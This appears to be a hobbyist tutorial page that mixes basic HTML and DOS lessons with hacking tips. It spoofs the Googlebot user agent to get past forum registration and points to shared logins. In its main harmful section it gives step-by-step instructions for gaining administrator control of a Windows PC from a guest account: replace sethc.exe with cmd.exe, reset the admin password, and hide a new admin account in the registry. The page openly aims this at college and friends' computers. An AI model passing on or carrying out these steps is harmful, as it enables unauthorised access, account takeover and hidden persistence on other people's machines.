HTML Entities

Some characters like the < character, have a special meaning in HTML, and therefore cannot be used in the text.
To display a less than sign (<) in HTML, we have to use a character entity.

HTML Formatting

Heading

Type this code:
<h1>Heading 1</h1>
<h2>Heading 2 </h2>
<h3>Heading 3 </h3>
<h4>Heading 4 </h4>
<h5>Heading 5 </h5>
<h6>Heading 6 </h6>

HTML Colors

Background Color

Type this code:
<h3 style="background-color:blue">HTML Colors</h3>

Result is:

HTML Colors

HTML Attributes

HTML - Class or ID Attribute
The class and id attributes are nearly identical. They play no direct role in formatting your elements but rather serve behind the scenes for scripting and Cascading Style Sheets (CSS). The role of classification and identifying elements will become more apparent as your learn CSS. The idea is that you can classify or id certain a tag and later format the tag using Cascading Style Sheets. It becomes necessary when you have two or more of the same element on a page (like a tag) but want them to be different in appearance.

HTML Get Started

What You Need You need ,a HTML editor(Notepad,html pad etc.)
1 Create an HTML file

1. An HTML file is simply a text file saved with an .html or .htm extension (i.e. Index.html or .htm as .test)
2. Open your text editor (Notepad if you're using Windows or TextEdit if you're using a Mac). You could use a specialized HTML editor such as DreamWeaver or htmpad if.
3. Create a new file
4. Save the file as html(Started.html)

How to Access Any Website Or Forum Without Registering

Visit any forum or website to find something useful and they will ask you to register. Every time a forum asks me to register, I simply close the site. You would probably do the same. But this time, lets face it.

Before I begin, you should know how things work. All websites and forums will block unregistered users, but they won’t block Google Bot. What we will do is to switch our User Agent to that of Google Bot and freely browse any website or forum without registering.

First grab the add-on for Firefox called ‘user agent’ here and install it. Now go to Tools > User Agent Switcher > Options and then again to Options.

Select User Agent from the left sidebar and click Add. Now in the description field type:

crawl-66-249-66-1.googlebot.com

and in user agent field type:

Googlebot/2.1 (+http://www.googlebot.com/bot.html)

as shown in the screenshot below.

Select Google Bot as your User Script by going to Tools > User Agent Switcher.

Now browse any website or forum without registering. Alternatively you can also check out BugMeNot, it is a free online service where people share login information of thousands of websites and forums. Enjoy!

How To Hack An Administrator Account With A Guest Account

(The only way this is going to work is if your account has permission to mody files in folder

«system32»)

Ever wanted to hack your college pc with guest account/student account so that you

can download with full speed Hack Administrator !!!!there ? or just wanted to hack

your friend’s pc to make him gawk when you tell your success story of hacking ?

well,there is a great way of hacking an administrator account from a guest account by

which you can reset the administrator password and getting all the privilages an

administrator enjoys on windows.. Interested ? read on…

Concept

Press shift key 5 times and the sticky key dialog shows up.This works even at the

logon screen. But If we replace the sethc.exe which is responsible for the sticky key

dialog,with cmd.exe, and then call sethc.exe by pressing shift key 5 times at logon

screen,we will get a command prompt with administrator privilages because no user

has logged on. From there we can hack the administrator password,even from a guest

account.

Prerequisites

Guest account with write access to system 32.

Here is how to do that -

• Go to C:/windows/system32
• Copy cmd.exe and paste it on desktop
• rename cmd.exe to sethc.exe
• Copy the new sethc.exe to system 32,when windows asks for overwriting the file,then click yes.
• When asked to overwrite, overwrite the sethc.exe.
• Now Log out from your guest account and at the user select window,press shift key 5 times.
•  Instead of Sticky Key confirmation dialog,command prompt with full administrator privileges will open.

Press shift key 5 times and command prompt will open.

• Now type “ NET USER ADMINISTRATOR aaa” where “aaa” can be any password you like and press enter.
• You will see “ The Command completed successfully” and then exit the command prompt and login into administrator with your new password.
•  Congrats You have hacked admin from guest account.

Further..

Also, you can further create a new user at the command prompt by typing “NET USER

Ephemeral /ADD” where “Ephemeral” is the username you would like to add with

administrator privileges. Then hide your newly created admin account by -

Go to registry editor and navigate to this key

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows

NT\CurrentVersion\Winlogon\SpecialAccounts\UserList]

Here create a new DWORD value, write its name as the “user name” that u created

for your admin account and live with your admin account forever :)

How To Close Ports

So i've been looking for a while on just how to close a port on a computer. I simply
couldn't find a way. Well, i finally found it. This'll only work for windows users (unless
your unix version OS has netsh).
it's actually quite simple. here's the command for it:
netsh firewall delete portopening TCP portnumber
it's that simple. Simply go to START -> RUN -> and type in that command up there,
and it'll close it for you.
or, you can also open up command prompt (START -> RUN -> CMD) and type in "netsh"
without the quotes to get to your windows firewall settings.
however, since i'm such a nice guy, i wrote it all out in a vbs script for you so that it's
automatically runable. as well as a batch script. so here you are fellas:

.VBS Script

set ss = createobject("wscript.shell")
set ws = wscript
dim PORT
PORT = InputBox("Enter the port you wish to close:")
ss.run "netsh.exe"
ws.sleep 1000
ss.sendkeys "firewall delete portopening TCP " & PORT
ss.sendkeys "{enter}"
ws.sleep 500
'ss.sendkeys "exit"
'ss.sendkeys "{enter}"

.BAT Script

@echo off
title Port Closer
echo Port Closer
echo.
set /p port=Type the port number you wish to close here:
netsh firewall delete portopening TCP %port%
msg /w * Port %port% has been closed.
exit

DOS(Disk Operating system)

Why CMD Using ?
Sometimes DOS is the Best Tool

Sometimes DOS commands are the best, and often only, way to do something. Consider using them for file backups and when Windows Explorer has indigestion.

Using DOS Commands

• DOS commands may be run as command line statements or as batch files.
• DOS commands are case‐insensitive.
• DOS commands are documented on various websites and in the Windows help file (see “Command Reference Main Page”).

Command Line Statements

1. To run DOS commands:
2. Open the DOS command console window (aka command prompt):
3. Use menu Start, Run, enter “cmd.exe” OR
4. Use menu Start, Programs, Command Prompt
5. Type in the command.
6. Press [Enter]

E.g
backup c:\work\*.* d: /s
The above example would create a backup of all the files and subdirectories in the work directory and save the backup to the d: drive.
